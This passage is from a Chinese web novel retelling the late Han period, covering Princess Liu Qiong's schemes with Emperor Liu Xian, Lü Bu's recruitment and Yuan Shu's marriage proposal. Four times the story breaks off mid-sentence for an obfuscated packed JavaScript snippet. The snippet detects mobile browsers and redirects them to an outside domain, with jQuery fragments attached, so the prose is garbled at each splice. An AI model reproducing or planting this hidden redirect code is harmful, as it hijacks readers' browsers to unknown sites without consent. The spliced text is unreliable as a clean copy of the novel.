“这样既不显眼,也堵住曹操的嘴,量他也不好多说什么。”刘琼把自己早就想好的主意说了出来。 “那依阿姊的意思,谁来添这句话最合适呢?”刘协又问道。 “自然是董承,董爱卿啊,他一路护送于你,乃是毋庸置疑的大汉忠臣,功臣,他若是开口,那任谁也挑不出毛病来。” 刘琼顺势就把这锅甩到了董承身上,她的小算盘打的啪啪作响,这是只打算要好处,却把拉仇恨的事扔给别人去做。 “阿姊所言极是,日后有阿姊在身边,我就不愁没人给我出主意了。”刘协没有听出她的言外之意,只觉得她一心为自己着想,很是赞同的点了点头。 “我倒是想长长久久在你身边,可我只怕天不遂人愿啊。”刘琼一听这句,却长吁短叹起来。 “阿姊这是何意?”刘协不解。 “协儿,两年前建章宫里,便有金凤引路的传言,而前些日子,金凤祥瑞再现,众人皆是亲眼目睹,瞒是瞒不住的。” “而我明年又要及笄,少不得有公卿大臣为了自家子侄前来求亲。” “旁的不提,只说那曹操的长子曹昂,我这一两年在东郡曹府住着,他可是时不时就来我面前献殷勤。” “我只怕一回了东郡,曹操便要向你开口提及此事。”刘琼面上一派忧虑之色。 她这是将自己和曹昂的事巧妙的掩饰了一番,把她全然放在了一个受人摆布的弱女子的位置上。 此言一出,反倒衬的曹操此人更加图谋不轨,不然他为何放任自己的长子与她接触呢? “不,他不能这样!” “他不能!” “阿姊是我唯一的亲人了,我不许任何人夺走阿姊!” 刘协是真的慌了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944615|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他双手并用,紧紧抱住刘琼,仿佛只有这样他才能有一丝的安慰。 他的确是年幼没经验,但并非智商有缺陷,曹操想为曹昂提亲,除了迎娶公主能让曹家成为皇亲国戚之外,更多的,恐怕还是他看中了刘琼身上的凤凰祥瑞。 诚然传国玉玺对他很重要,但刘琼的存在对他来说更重要。 除了血脉亲情之外,在刘协看来,姐姐的婚事也是一个非常重要的筹码,是不能轻易舍出去的。 更别提还是要给曹操他们家,这跟搬起石头砸自己的脚有什么区别? 他反对,他坚决反对! 而这,也正合刘琼的心意。 “好了好了,阿姊不会离开你的,虽然那曹家大公子的确是个不错的人,长得也好看,性格也……”她一边拍着刘协的后背,一边却说着曹昂的好处。 “凭他怎么样,只要朕不同意,他们家还能强娶不成?”这话更是刺激了刘协,连自称都换成了‘朕’,可见此事让他感受到了深深的危机。 “这还真的挺难说的,你看曹操那日是如何嚣张跋扈的就知道了。”刘琼又把情况说的严重了点。 “那怎么办?阿姊,你说该怎么办才好啊?”刘协硬气了没一会儿,就再次陷入了慌乱之中。 “既然我们的势力不足以抵抗曹操,那我想,就只有请外援了。” “协儿,你还记得温侯吕布吗?他现在占据了徐州。” “诚然他杀了两个义父,但那两人也同时是国贼,吕布为国除害,毋庸置疑。” “所以我想,等我们安顿下来后,你大可以下一道诏书,召他前来效力,相信他不会拒绝一个能够挽救自己糟糕名声的机会。”刘琼提议道。 “这主意好是好,但曹操会同意吗?”刘协觉得有点不靠谱。 “他当然不可能同意别人来分他的权,那么,咱们就必须得寻一个别的理由,既让曹操没话说,也让吕布能够心甘情愿为你我效死。”刘琼摇了摇头,一脸正色道。 “怎么做?”刘协几乎没有犹豫的问道。 “我听说,吕布膝下只有一女。”刘琼轻声道。 “阿姊的意思是?”刘协一愣。 “协儿,你我都是在宫里长大的,又是骨肉至亲,有些话,想必我不说你也知道。” “姻亲关系虽然未必是最牢固的,但却是见效最快的。” “吕布又只有这一个女儿,倘若你能承诺将来纳她为妃,也就不怕吕布日后不为你效力了。”刘琼把这其中的谋划说给他听。 “如果仅仅是承诺纳妃,那这倒也没什么不能的,左右朕现在也不到大婚的时候。”刘协心里合计了一下,自己似乎不亏。 “这件事必须要快,还得暗中处理,绝对不能让曹操知道。”他不放心,又提醒了一句。 “知道,我让张辽亲自书信一封给吕布,他曾是吕布麾下战将,想来更容易取信对方。” “等到了兖州,你再于明面上发一封诏书宣吕布前来,这样便万无一失了。”刘琼已经打算好了。 “但愿一切顺利吧。”刘协期盼着。 “一定会顺利的。”刘琼摸了摸他的头,“好了,再睡一会儿吧。” “嗯。”刘协窝在她怀里,再次闭上了眼睛。 51.祸水东引 却说曹操引兵马护送,迎銮驾到兖州东郡安置。 此处虽非新的国都,但到底皇帝驾临不容怠慢,于是也开始在原来的基础上,营造宫室殿宇,立宗庙社稷,省台司院衙门,修城郭府库等处。 又封董承等十三个功臣为列侯,曹操先前已经得封大将军,武平侯,但仍不满足,果然上奏为部下们请封。 以荀彧为侍中,荀攸为军师,刘晔为司空仓掾曹,毛玠,任峻为典农中郎将,负责催督钱粮。 而程昱为东平相,范成,董昭等人为洛阳令,满宠为东郡令。 夏侯惇,夏侯渊,曹仁,曹洪皆为将军,吕虔,李典,乐进,于禁,徐晃皆为校尉,许褚,典韦皆为都尉。 至于陈宫,张辽,高顺等人,曹操气他们洛阳救驾时临阵倒戈,便选择性的忽略了他们。 但刘协却在刘琼的示意下,授予了三人官职,张辽,高顺皆为将军,陈宫则为侍中,如此文武官员之中也算是有他们的自己人了。 刘协又示意董承,要他提及纳贤之事,顺利替郭嘉要了个司马祭酒的官。 至于荀彧,曹操已经开口为他封官,现在若是贸然加恩,只怕会引起对方的怀疑,刘琼和刘协商量后,便按捺住了心思。 不过刘琼很会安抚人心,她暗中以刘协的名义给荀彧画了个大饼,言说等新的国都定下来后,就封他为尚书令。 别看尚书令听起来不怎么样,可若是真的细究起来,比三公的权力还大。 西汉时期,尚书令只是少府麾下的一个小官,但汉武帝刘彻为了加强皇权,别出心裁,设立了内外朝。 而东汉光武帝刘秀又在内外朝的基础上,提升尚书台的地位,以心腹重臣担任尚书令,几乎架空了外朝三公九卿的权力。 也就是说,东汉时期的尚书令虽然没有丞相的名义,但却有丞相的权力。 这个大饼不可谓不香了,更重要的是,刘琼半点也没有诓他,的确是打算将尚书令的官职授予荀彧的。 不过这个承诺的兑现,得在迁都许昌之后。 许昌位于颍川郡,而颍川乃是荀氏家族的祖地所在,根深蒂固,枝繁叶茂。 也只有把都城迁过去后,再兑现承诺,方能把颍川荀氏彻底绑到皇家的战车之上。 当然了,这些就用不着和荀彧说穿了,毕竟,现在许昌还在黄巾贼手里呢。 不过刘琼相信,要不了多久曹操就会派兵收复在豫州的许昌了,可能顺便还会把豫州也吞下来。 到底现在他手里握着天子了,打哪儿都师出有名啊。 而对于这点,刘琼也不打算干涉,因为无论曹操打下多少地盘,至少名义上还是他们汉家的天下。 现在她更关心的是张辽那边的进展,好在后者口才不错,哪怕只用一封书信竟然也说动了吕布,当然,这也少不了现在驻扎在小沛的刘备的功劳。 听闻皇帝在兖州的消息后,刘备就一直鼓动吕布前去投效,吕布犹豫倒不是他不忠于汉室,只是他觉得没什么好处可图,直到张辽来了书信,言说皇帝愿意纳他女儿为妃。 张辽还各种游说鼓动吕布。 说将来他立得功劳越大,皇帝肯定就越看重他这个岳父,那他女儿的位分也能更高。 皇后也许够不着,但仅次于皇后的贵人之位应该没什么问题,将来若是再生下皇子,说不定这汉家的江山也有他们吕家一半。 而且投靠天子不丢人,还能洗白自己那糟糕的名声,一举数得,何乐而不为呢? 吕布看了信件上这些内容,越看越觉得有道理,于是便带上妻女来了东郡。 刘协也接见了吕布,并在刘琼的示意下,亲口承诺将来会纳他女儿为妃,又提升了吕布的官职,将原来的中郎将提升至左将军,爵位保持不变。 左将军是东汉朝廷中,仅次于大将军和骠骑将军的武职,刘琼示意刘协这么做,也是为了制衡现在被封为大将军的曹操。 至于说吕布爵位没有提升嘛,他也没什么怨言,毕竟,他做过什么,他自己清楚,天下人也清楚。 再者,他的温侯已经是侯爵中最高等级的爵位了,天子不晋封他才是正常的。 接纳了吕布,又有张辽高顺在,总算有军队在手,文臣中,有陈宫,郭嘉这等明面上的谋士,又有荀彧暗中辅佐。 一番谋划下来,刘琼和刘协总算能松口气。 现在有什么军国大事,曹操至少得拿到朝堂上和大家商量,而不是自顾自的决定后,再拿他这个皇帝当盖章的傀儡。 而刘琼的婚事,曹操短时间内也没有再提及,现在情况对他不利,贸然开口,只会引起众臣的反感。 但曹操也不是毫无作为,他暗中鼓动儿子曹昂多去看看刘琼,这是打着以情动人的主意了。 曹昂喜欢刘琼,自是愿意的,而刘琼,其实也挺愿意和他见面。 除了感觉曹昂人挺不错之外,更多的是可以通过他向曹操表达善意。 唯一的不妥就是,自从她恢复公主的身份后,荀祈每次见到她和曹昂在一起时,都是一副委屈巴巴的模样。 可偏偏他的教养又不允许他做出什么失礼的举动,久而久之,就显得有些幽怨,仿佛刘琼骗了他,也辜负了他似的。 虽然在某种程度上这么说也没错了,刘琼也难得感觉有点心虚,但若是让她许诺什么,那也是不可能的,只能提点荀彧多去开解开解荀祈。 对于这些儿女情长,刘琼显得游刃有余,但她的关注点并不在这上面,而是瞄准了此时仍然在徐州的刘备。 本来刘备也打算来兖州觐见天子刘协的,但张飞却鼓动他趁着吕布离开,赶紧夺回徐州才是正经,刘备一时陷入两难,便没有立刻动身。 而这,也给刘琼敲响了警钟。 不论后世之人如何盛赞刘备这个大汉皇叔的仁义品德,又怎么惋惜他的遭遇,刘琼都时刻保持着警惕。 对于她来说,刘备绝对不是自己前行路上的助力,而是障碍,还是巨大的障碍,因为他们两个的目标和他们的倚仗都是一样的。 打着汉室的招牌聚拢人心,并铺平通往那至高无上的权力巅峰之路。 虽然很不愿意承认,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953530|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同为刘姓皇室血脉,男性的继承权天生就高于女性,这是世所公认的事实。 那么在这种不利局面之下,刘琼自然会想方设法的消减竞争对手的个数。 不过亲自出手显然不行,现在她也没这个实力。 于是她采取了迂回的办法,派荀彧去游说曹操,而荀彧也果然不负所望,提出了驱狼吞虎的策略,而这个笨狼自然就是袁术了。 说起袁术,自从曹操迎天子刘协到兖州,又爆出万年公主和传国玉玺也已经复归汉室之后,他就气完了,比袁绍得知消息后还气得慌。 袁绍顶多是觉得自己被曹操耍了,可袁术不止被曹操耍,他还被孙策骗。 先前孙策拿了个传国玉玺换了他三千兵马,当时袁术还沾沾自喜,觉得占了大便宜。 现在真消息一出,他瞬间就傻了眼,在和众文武商量的时候,就忍不住大声控诉起来。 “孤被骗了!” “孤被骗的好惨!” “孙策小儿,简直不当为人子!” “孙坚也是,干嘛要早死啊,不好好教导儿子,反教出了这么一个背信弃义的混账东西!” “孤的三千兵马啊,那都是孤的!孤的!” …… 袁术越想越心疼,嘴上也不住的咒骂着,连带着死去的孙坚都得了一个教子不严的名头。 袁术账下的文武臣子一个个的都非常同情自己的主公,这个说主公宽宽心吧,那个说主公莫要生气,总而言之,大家都贴心的很。 要是忽略他们大部分低着头憋笑的动作的话,那就更有说服力了。 此时此刻,这厅堂中竟是充满了一种诡异的快活的气氛。 也就是在这个时候,从兖州来的书信到了,这自然是曹操听了荀彧的话,写给袁术的刘备要攻打他的‘密信’。 袁术本来就伤心呢,又看到这等消息,简直气的七窍生烟,想也没想就把那书简扔了出去。 “啪”的一声落地,然后便是袁术那抑制不住的咆哮! “孙坚父子也就罢了,到底是孙武的后人。” “他刘备算个什么东西?” “一介织席贩履之辈也敢占据徐州,与我等同列诸侯,还敢密谋攻我南阳?” “孤看他是活的不耐烦了!” “出兵,必须出兵,孤非得给他点颜色看看不可!” “纪灵,传孤的命令,点兵十万,杀奔徐州,必要那刘备村夫,有死无生!” 袁术是气极了,顺手把桌上那个假玉玺也给摔了出去,‘啪’的一声过后,玉石崩裂,更显做假。 袁术看到这一幕,更是气急攻心,头脑发昏,当即就倒在了座位上。 “主公!” “主公,你没事吧。” “主公,你怎么样了?” …… 一众文武吓了一跳,纷纷起身上前去关心袁术,可没一个顶用的。 关键时刻还是纪灵挺身而出,抱起袁术便往后堂走去,途中还不忘了高喊医师,其他文武也在连声呼叫,一时之间,乱作一团。 52.袁术求亲 袁术被气昏过去,待到医师诊治一番后方转醒,但仍觉胸中恨意绵长,依旧不改军令,要纪灵领兵十万去攻打刘备。 刘备虽得徐州,但却未曾收复徐州内部势力,吕布又已前往兖州,投奔天子。 他一个人兵少将寡,又无出色谋士辅佐,以至于在和纪灵交战后,屡战屡败。 不得已之下,刘备只能退守城池,并派几路信使分批出发,快马加鞭前往兖州求救。 其中有几个信使被纪灵的部下捕获,这消息也就传回了南阳,到了袁术的案台之上。 偏偏此时,南边的暗探也传来最新情报,言说孙策已经打下了一块地盘,正和荆州牧刘表交锋。 刘备和孙策,这两个家伙都是袁术深恨之人,眼下似乎打哪个都对自己有利。 一时之间,他竟是不知如何抉择,于是他找来谋士杨弘,韩胤等人,询问该怎么做。 “主公,那孙策如今虽未全得江东,但毕竟有长江为天险,江南地区又多粮米,不愁募兵,我等急切攻之,只怕难以图之啊。”杨弘首先分析了一番。 “那依你之见,该当如何?”袁术问道。 “应当继续攻打刘备,而且要快,不然等那刘备的求救信传到兖州东郡,天子和那曹操只怕都不会坐视不理。” “等灭了刘备,得了徐州,然后再南下攻打孙策,如此江东也有我等的一份儿了。”杨弘如是说。 “嗯,言之有理。”袁术越听越觉得不错,不由得点了点头。 “主公,此事不妥。”然而韩胤却突然出声阻止。 “有何不妥?”袁术看向韩胤。 “主公,曹操先前密信主公,刘备要攻打我等,如今刘备却又去信求援,难保那曹操不是打着鹬蚌相争,坐收渔利的主意。” “况且刘备现在是天子亲封的徐州牧,等求援信到了兖州,曹操即便视而不见,天子也不会坐视不理的。” “先前吕布曾坐镇徐州,天子若要选派人去支援刘备,多半会派此人前往。” “吕布虽是三姓家奴,但其勇武却也是天下皆知,纪灵将军虽是猛将,但恐不是吕布对手,一旦兵败,悔之晚矣啊。” 韩胤细细分析了如今的局势,并劝袁术不要轻举妄动。 “那依你看,该当如何?”袁术问道。 “我曾听闻吕布膝下只有一女,而主公膝下也唯有一子,何不派人前去说媒,两家结为姻亲,共图徐州?”韩胤如此建议道。 “诶,此言差矣,那吕布如今已从中郎将升迁至左将军,深受天子器重。” “倘若天子命他援助刘备,讨伐我等,他又岂会答应嫁女呢?”杨弘却指出了其中的不妥之处。 “主公,与其拉拢吕布,何不直接上表天子?” “我听闻万年公主快要及笄,先前于洛阳救驾之时,又有金凤祥瑞伴于公主之身。” “主公若能为世子求得万年公主为妻,那天子又岂会偏向刘备那厮?徐州岂非也唾手可得了?”杨弘试图一步到位,竟是打起刘琼的主意来了。 “此计甚妙,此计甚妙啊。”袁术连连合掌赞叹,高兴的甚至都从座位上站起来了。 本来被孙策用了个假玉玺诓骗了三千兵马,他心里就窝火的很,可若是真能为自己儿子求来这凤凰随身的公主,那也不比拥有真玉玺差啊。 一旁的韩胤本想出言提醒,万年公主既有如此神异,那天子多半不会轻易许嫁这位长姊,别最后偷鸡不成蚀把米。 可是看袁术已经乐的忘乎所以的模样,他就知道,哪怕自己开口了,结果也不会改变,说不定还要招来嫌弃与怀疑,于是便没有劝说。 就这样,袁术的使者便去往了兖州东郡,于朝堂之上,向天子刘协提出了求亲之事,直接惹得众臣议论纷纷。 无论是曹操阵营的,还是刘琼阵营的,都觉得此事不能答应。 众人甚至提议应该立刻杀了那个使者,并派兵讨伐袁术,以教训他胆敢觊觎皇家公主的僭越之举。 大汉开国将近四百年,从来都是皇帝亲下圣旨,命公主下嫁,还没有说哪个诸侯主动开口索要公主的。 万年公主又不同于以往的汉室公主们,乃是有凤凰祥瑞随身的存在,袁术现在为自己的儿子求娶,分明就是有不轨之心,篡位之嫌。 虽然曹操也想让自己的儿子迎娶公主吧,但他毕竟没说出来呢,所以自然能够义正言辞的在朝堂上指责袁术的图谋不轨。 天子刘协也明白这个道理,可看着下面吵吵嚷嚷的,他也是异常烦躁,干脆宣布先退朝,改日再议。 可他才回了寝殿没一会儿,就有一大批的奏折来到了案台上,无一例外都是说袁术替他儿子求亲的事的。 气的刘协一把将其摔了出去,正巧此时刘琼过来了。 “协儿这是在看什么?气性这样大?”她捡起地上的书简,有些好奇的询问了一句。 “这些都是要朕回绝袁术那厮的求亲的,表面上一派的忠心为国,可朕心里清楚,他们一个个的,都有自己的小心思。” “阿姊自己看吧。”刘协气的直接站了起来,在厅堂里来回踱步。 而刘琼则是顺势就坐到了他刚才的位置上,拿起书简翻看起来,却见原来上奏的人中,言辞最激烈的那一批,正是曹操和他麾下的众臣。 “哈哈哈哈!”刘琼看了又看,却突然笑出了声。 “阿姊,你笑什么?” “那袁术图谋不轨,可这曹操也未必有多贤良,他纠集这么些个臣子一起给朕上书,不就是怕朕把阿姊许嫁别人,而他儿子就落空了吗?” “人家搁那儿谋算咱们姐弟呢,怎么阿姊不怒反笑呢?”刘协转头看向刘琼,不解道。 “我笑的是,既然早就知道他的心思了,那你还气什么呢?左右我只站在你身边就是了。”刘琼放下那些奏章,起身走到刘协面前挽住他的胳膊。 “朕自是知道阿姊的心意的。” “可是这男大当婚,女大当嫁,阿姊明年就要及笄了,外头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959289|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些诸侯难保不会派人再来求亲,就好像今日的袁术一样。” “可阿姊若真在他们的逼迫下嫁出去了,那朕岂不是更加孤掌难鸣了吗?” 刘协委屈巴巴的跟她诉苦,嘴上说理解,可实际上还是不肯让她出嫁。 “协儿,阿姊答应你,只要你不同意,我就绝不出嫁。” “或者说,如果有朝一日,我要出嫁了,那也一定是为了汉室江山的稳固,就好比当年武帝的姐姐平阳公主。”刘琼为他整了整衣襟,郑重许诺道。 “平阳公主?”刘协一愣。 “平阳公主一生一共嫁了三次。” “她第一次嫁给平阳侯曹寿,为武帝带来了开国时老牌勋贵的支持,并发掘了卫子夫与卫青这对日后在史书上留下浓墨重彩的姐弟。” “她第二次嫁给了汝阴侯夏侯颇,再一次弥合了武帝和开国勋贵之间的关系,为其进行的政治改革提供了准备。” “第三次出嫁,也是最重要的一次,她嫁给了新崛起的卫家,嫁给了那个原来是她的骑奴马夫,现在却是帝国的大将军的卫青。” “也是借由这桩联姻,武帝强化了对军队的控制,并进行了军事改革,实现了皇权,军权乃至外戚势力的深度联合。” “可以说,平阳公主的婚事,成了武帝前期掌权最重要的筹码之一。” “现在我愿意做你的平阳公主,那么你有信心成为新的武帝吗?” 刘琼言辞恳切的剖白着自己的心意,却又在暗暗鼓动刘协起来和那些权臣们对抗,这样她就可以在幕后悄悄的壮大自己。 “我就知道这世上只有阿姊是最为我着想的,旁人无论说什么,做什么,我只一概不听,一字不信的。” 可惜刘协听不出这背后的算计,甚至十分感动于她的付出,不由自主的握紧了刘琼的手。 “这就对了,只要咱们姐弟是一条心,任谁如何说三道四,吆五喝六,也是没有用的。”刘琼闻言也笑着附和了一句。 “阿姊,这些烦人的奏章还是不要看了,免得你生气。”刘协说着就要拉她离开。 “我倒觉得越是烦人,越该认真看看,知己知彼,才能百战不殆啊。”刘琼却有不同的看法。 “协儿,我能继续看吗?”她故意问道。 “当然,不过是些奏章罢了,阿姊想看就看吧,反正这汉室的江山是我和阿姊的。”刘协愣了一下,但还是点了点头。 “……”,刘琼听到这儿,脸上笑意也更浓了。 这个傻弟弟还以为她看不出他的假大方,不过没关系,她恰好可以利用这点,潜移默化的影响他。 现在她已经能在后殿看奏章了,那么将来她就能到前朝去看,去听,去说。 迟早有一日,她会成为真正的掌权者,而非被人拿捏的棋子。 但不管她心里如何想,总之面上都是一副好姐姐的模样,刘协也喜欢与这样的她相处。 只是他们姐弟其乐融融,别人的日子就没那么好过了。 53.剖白心意 刘琼看了许多奏章,只剩一份没有看完,但天色已晚,也不好多待。 她与刘协虽是亲姐弟,但到底男女有别,不好留宿,只得告辞回自己寝宫去。 刘协倒也大方,甚至许她拿走那份奏章,刘琼谢过之后,便出了门,只是才转过一个走廊,就被慧儿拦住了。 “怎么了?”刘琼问道。 “殿下,你看那儿。”慧儿没有直接回答,而是指了指不远处的凉亭里。 刘琼顺着看过去,却见曹昂正在那里来回踱步,顿时就明了慧儿的意思。 “我知道了,你先下去吧。”刘琼摆了摆手。 “诺。”慧儿没在多说什么,只行了一礼后,恭敬的退下了。 “曹公子,你身为宫中执勤郎官,何以不去巡逻,却在此徘徊啊?” 刘琼走到凉亭附近站定,又拿起手中奏章拍了拍,全然一副兴师问罪的意思。 “微臣参见万年公主,敬问殿下躬安否?” 曹昂抬头一看是她,眼前瞬间一亮,但听她这般言语,又想起她的身份,他便不由得变得拘谨起来,对着她恭敬的行了一礼。 “你还没有回答我的问题。”刘琼却右手握着奏章,轻轻拍打着左手。 “回禀殿下,微臣刚与同袍换岗,见天气炎热,故而来此乘凉,绝非故意渎职,望殿下明察。”曹昂十分冷静的解释了自己在此的原因。 “原来只是来乘凉啊,我还以为是来等我的,算了,看来是我自作多情了。”眼看他假正经,刘琼话头一转,转身就要离开。 “好妹妹,你等等!”曹昂见状立刻就急了,脱口而出就是以往的称呼。 “你叫我什么?”刘琼转身回来,忍住笑意故意问道。 “……”,曹昂觉得十分难为情,但偷偷抬头看了她一眼,觉出她不似生气,于是鼓起勇气,再次轻声唤了一句。 “好妹妹。”他说这话时,双手握拳,掌心里也尽是濡湿的汗水,可见很是紧张。 “亏得你还认我这个妹妹,那还不赶紧说实话,到底在这儿干什么呢?”刘琼笑着上前,用手中奏章拍了拍他的肩膀。 “是在……”,曹昂下意识的就要说实话,可却意外看到了她手中的奏章。 “这是什么?”他问道。 “这个啊,是袁术替他的独子向本殿下求亲的奏章。” “怎么?你感兴趣?” “那我念给你听听吧。”话到此处,不等他回答,她便打开奏章,清了清嗓子,开始一本正经的读了起来。 “微臣有本启奏陛下,伏惟袁术此人,乃汝南袁氏家族的嫡出子嗣,如今又雄据淮南一代,乃是不折不扣的当世豪杰。” “他之独子亦是极为出色,风度翩翩,学识渊博,足以匹配万年公主殿下。” “还望陛下为汉室江山稳固计,公主终身幸福想,能够应允这桩婚事,结刘袁两家之好,亦全朝野上下欢心。” “你觉得怎么样啊?”刘琼读完了之后,还故意去问他。 “什么怎么样?你是问这个写奏章的,还是问那袁术的独子?”曹昂显然是不高兴了,别别扭扭的不答反问道。 “我问这个写奏章的如何?我问那袁术的独子又如何?”刘琼也不回答,只一个劲儿的追问。 “依我看,都是图谋不轨,不怀好意的奸臣!” “什么为汉室江山计,为妹妹你的终身幸福想?” “不过都是为了满足他们的一己之私而抛出来的冠冕堂皇的说辞罢了。” 曹昂见她执意要问,自己心里也憋屈,便借着这个话题,好好奚落了一番。 “你说的只是这写奏章的人,但不知你对袁术的独子怎么看待啊?”刘琼却不满意他避重就轻的回答。 “这奏章上可说他风度翩翩,学识渊博,可堪匹配于我呢。”她晃了晃手中的奏章,故意刺激他道。 “袁术不听朝廷号令,私自占据淮南,还意攻打徐州,根本就是反贼一流。” “不论其他,只此一条,不管他儿子再如何优秀,也是配不上妹妹的。”曹昂义正言辞否决了此事的可能性。 “我只问你袁术的儿子如何,你扯袁术本人做什么?” “难道我问你荀祈如何,你也要议论颍川荀氏不成?” 刘琼却不容他含糊过去,直接开门见山问,又拿荀祈做例子,算是挑明了此事。 “你故意提他,是存心要戳我的心窝子吗?”曹昂也意识到了这点,抿了抿嘴唇后,有些委屈道。 “你这是说的什么话,我不明白。”刘琼却故作不解。 “你当真不明白?”曹昂皱紧了眉头,又问道。 “我明白如何,不明白又如何?此事明白与否,原是在你,而不在我。”她走到他面前站定,又用奏章点了点他的心口处。 “只因我心里明镜似的,偏你还糊涂着,又或者,是装糊涂!”刘琼一语双关,说完后也不理他,转身就要走。 “好妹妹!”曹昂眼疾手快,一把拉住了她的手。 “千错万错都是我的错,你别走!”他是真急了。 “那你倒是说说,你哪儿错了?”刘琼抬头看他。 “我,我……”,曹昂心知是怎么回事,偏生难为情,不好说出口。 “我只是怕自己配不上你。”急得他满头大汗,这才忐忑的低声回了一句。 “以前你从来不说这样的话。”刘琼见他这般不安,也心软了许多,抬手从袖中取出一条丝帕为他擦拭头上汗珠。 “以前只有哥哥妹妹,现下却是臣子公主,我,我……”,曹昂更觉难为情。 “难不成你以前不知我是公主吗?如何现在却露了怯?” “莫非是怕了什么四世三公家的袁公子,连你我的真心都不顾了吗?” “倘若真是如此,那就权当是我瞎了眼,看错你了。”刘琼一连两个反问,最后又是一句激将,成功逼出了他的真心话。 “没看错,你没看错,明年你及笄前,我一定会证明给你看的,你信我!”他握紧她的手,郑重其事的许诺道。 “我自然是信你的。”刘琼反握住他的手。 四目相对间,一切尽在不言中,而这一幕,正好被换岗下值的吕布看了个正着。 本来作为左将军,吕布是不用亲自执勤的,奈何今日之事实在弄得天子刘协心烦意乱,忐忑不安,便召了吕布张辽等忠心于他的将军守护。 吕布先前已经得了天子刘协允诺纳他女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972138|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿为妃的承诺,那和刘协就是翁婿关系,保护他是义不容辞,但也不可能全天候的守着,得和张辽轮换。 岂料这刚换值,还没走几步呢,就看到曹操的长子曹昂正和万年公主拉拉扯扯,两人看着关系还很不一般的样子。 吕布本想上前呵斥曹昂僭越,可想到万年公主也在,便不好出面,又见不远处有宫女慧儿在放风,他就更不好贸然介入了,只得悄悄离去。 只是回了家之后,他越想越不忿,便命人端来酒水,一杯接一杯的痛饮起来。 他的妻子严氏听说他回来后就不停的喝酒,心下自然觉得奇怪,便找了过来。 “夫君是有什么烦心事吗?”严氏主动为他斟了一杯酒后,轻声询问道。 “我哪有什么烦心事,只是为公主殿下觉得不值得而已。” “你猜我今天在宫里看见什么了?” “那个曹昂,就是曹操的长子,一介庶出,还寸功未立的毛头小子,竟敢在凉亭轻薄公主,真是色胆包天啊!” 吕布接过她手中酒杯一仰而尽,在微醺的醉意下,一不留神就吐露了真言。 “轻薄公主?万年公主吗?夫君会不会看错了?”严氏皱紧了眉头,再三确认道。 “万年公主是何等的美貌,乃是世无其二的美人,我又怎么会看错?” “况且那曹家小儿一个劲儿的拽着公主不放,我看的真真的。” “若非怕卷入宫廷秘闻,进而耽误了咱们女儿进宫为妃的事,我早就上去英雄救美了。” 吕布打了个酒嗝儿,再一次实话实说,可这个消息,比前头那个消息还吓人。 “夫君,妾身听说公主早先便是借住在曹府,和曹家大公子相识相知也属正常,两人皆是少年男女,日久生情也并非不能。” “依妾身看,或许并非轻薄,而是相会。” “严格论起来,曹家大公子也是有资格尚公主的。” “先前曹公救驾乃是偌大的功劳,倘若他以此为由向陛下开口,请求许婚,只怕有很大可能会成。” “况且曹家大公子与公主郎才女貌,两小无猜,倘若真成了,也不失为一桩美好姻缘。” 严氏显然更冷静,也更理智的分析了现有情况,并暗戳戳的提点自家夫君别在痴心妄想了。 “什么跟什么啊,就算他曹操有救驾之功,那陛下也很难答应把自己的长姊许配给一个庶子吧。” “这会儿陛下防着曹操还来不及,又哪里会把有凤凰祥瑞随身的公主下嫁曹家?” “退一万步,就算只看人才品貌,他曹昂也并不是最拔尖儿的那一个。” “这无论怎么看,他都配不上公主嘛。”吕布摆了摆手,显然非常瞧不起曹操和曹昂这两父子。 “要我说,像万年公主这样的绝色美人,那就应该配当世英雄。” “天底下谁人不知,‘人中吕布,马中赤兔’,我……” 吕布越说越没个正经了,严氏也怕他真的口无遮拦给自家招来祸患,竟是当机立断,抬手抓起一旁的酒壶就朝他后脑勺砸了下去。 吕布喝的醉醺醺的,不防妻子会突然动手,竟是来不及躲开。 “啪!”的一声过后,酒壶碎了,吕布也晕了。 54.进退两难 吕布第二日醒了之后,顿觉头痛欲裂,特别是后脑勺,但他却怎么也想不起来是怎么回事。 